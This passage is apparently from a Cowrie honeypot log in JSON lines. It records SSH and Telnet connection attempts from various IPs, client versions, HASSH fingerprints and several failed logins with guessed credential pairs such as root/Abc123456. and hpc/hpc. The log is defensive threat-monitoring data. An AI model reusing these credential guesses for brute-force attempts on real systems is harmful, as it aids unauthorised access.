ha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:40.924092Z","src_ip":"102.213.34.99","session":"b6d4bdd2e507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456.","message":"login attempt [root/Abc123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:41.641552Z","src_ip":"102.213.34.99","session":"b6d4bdd2e507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:42.815535Z","src_ip":"102.213.34.99","session":"b6d4bdd2e507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.908830404281616,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:12:48.016485Z","src_ip":"128.199.8.54","session":"bbf1a21c7de7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55146,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e6d02efcd7b","protocol":"telnet","message":"New connection: 172.81.62.90:55146 (159.203.135.109:23) [session: 3e6d02efcd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:00.008087Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":60526,"dst_ip":"10.17.0.5","dst_port":22,"session":"f44a698eb2de","protocol":"ssh","message":"New connection: 45.123.217.22:60526 (10.17.0.5:22) [session: f44a698eb2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:10.616461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:10.621713Z","src_ip":"45.123.217.22","session":"f44a698eb2de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:10.847528Z","src_ip":"45.123.217.22","session":"f44a698eb2de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Password!","message":"login attempt [test/Password!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:11.788797Z","src_ip":"45.123.217.22","session":"f44a698eb2de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:13.017152Z","src_ip":"45.123.217.22","session":"f44a698eb2de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":37090,"dst_ip":"159.203.135.109","dst_port":22,"session":"e86784388b70","protocol":"ssh","message":"New connection: 103.84.236.242:37090 (159.203.135.109:22) [session: e86784388b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:15.617200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:15.622224Z","src_ip":"103.84.236.242","session":"e86784388b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:15.853771Z","src_ip":"103.84.236.242","session":"e86784388b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456.","message":"login attempt [root/Abc123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:16.815233Z","src_ip":"103.84.236.242","session":"e86784388b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:18.050672Z","src_ip":"103.84.236.242","session":"e86784388b70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":31112,"dst_ip":"10.17.0.5","dst_port":22,"session":"dae85e830753","protocol":"ssh","message":"New connection: 194.59.206.2:31112 (10.17.0.5:22) [session: dae85e830753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:19.391788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:19.399047Z","src_ip":"194.59.206.2","session":"dae85e830753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:19.486215Z","src_ip":"194.59.206.2","session":"dae85e830753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:19.578588Z","src_ip":"194.59.206.2","session":"dae85e830753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":32850,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca5eee932a1d","protocol":"ssh","message":"New connection: 14.63.196.175:32850 (159.203.135.109:22) [session: ca5eee932a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:20.831504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:20.841576Z","src_ip":"14.63.196.175","session":"ca5eee932a1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:21.038293Z","src_ip":"14.63.196.175","session":"ca5eee932a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user14","password":"123","message":"login attempt [user14/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:21.868866Z","src_ip":"14.63.196.175","session":"ca5eee932a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:23.069243Z","src_ip":"14.63.196.175","session":"ca5eee932a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.08224964141846,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:37.090158Z","src_ip":"172.81.62.90","session":"3e6d02efcd7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":44572,"dst_ip":"159.203.135.109","dst_port":22,"session":"39691286b260","protocol":"ssh","message":"New connection: 102.210.148.92:44572 (159.203.135.109:22) [session: 39691286b260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:44.327453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:44.330836Z","src_ip":"102.210.148.92","session":"39691286b260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:44.569718Z","src_ip":"102.210.148.92","session":"39691286b260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ll123456789","message":"login attempt [root/Ll123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:45.559848Z","src_ip":"102.210.148.92","session":"39691286b260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:46.800714Z","src_ip":"102.210.148.92","session":"39691286b260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":48970,"dst_ip":"10.17.0.5","dst_port":22,"session":"05d4762b99d3","protocol":"ssh","message":"New connection: 181.188.176.242:48970 (10.17.0.5:22) [session: 05d4762b99d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:47.733552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:47.737370Z","src_ip":"181.188.176.242","session":"05d4762b99d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:47.901436Z","src_ip":"181.188.176.242","session":"05d4762b99d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hpc","password":"hpc","message":"login attempt [hpc/hpc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:48.593688Z","src_ip":"181.188.176.242","session":"05d4762b99d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:49.761534Z","src_ip":"181.188.176.242","session":"05d4762b99d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16152,"dst_ip":"10.17.0.5","dst_port":22,"session":"faa771994974","protocol":"ssh","message":"New connection: 91.92.40.36:16152 (10.17.0.5:22) [session: faa771994974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:52.697627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:52.751059Z","src_ip":"91.92.40.36","session":"faa771994974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:52.824116Z","src_ip":"91.92.40.36","session":"faa771994974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":58660,"dst_ip":"10.17.0.5","dst_port":22,"session":"616a766bf8e0","protocol":"ssh","message":"New connection: 45.78.204.254:58660 (10.17.0.5:22) [session: 616a766bf8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:53.215374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:53.219028Z","src_ip":"45.78.204.254","session":"616a766bf8e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:53.464728Z","src_ip":"45.78.204.254","session":"616a766bf8e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"audi","password":"audi","message":"login attempt [audi/audi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:53.900560Z","src_ip":"91.92.40.36","session":"faa771994974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:55.158748Z","src_ip":"91.92.40.36","session":"faa771994974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"123","message":"login attempt [lucas/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:56.497346Z","src_ip":"45.78.204.254","session":"616a766bf8e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:13:58.385744Z","src_ip":"45.78.204.254","session":"616a766bf8e0","protocol":"ssh"}
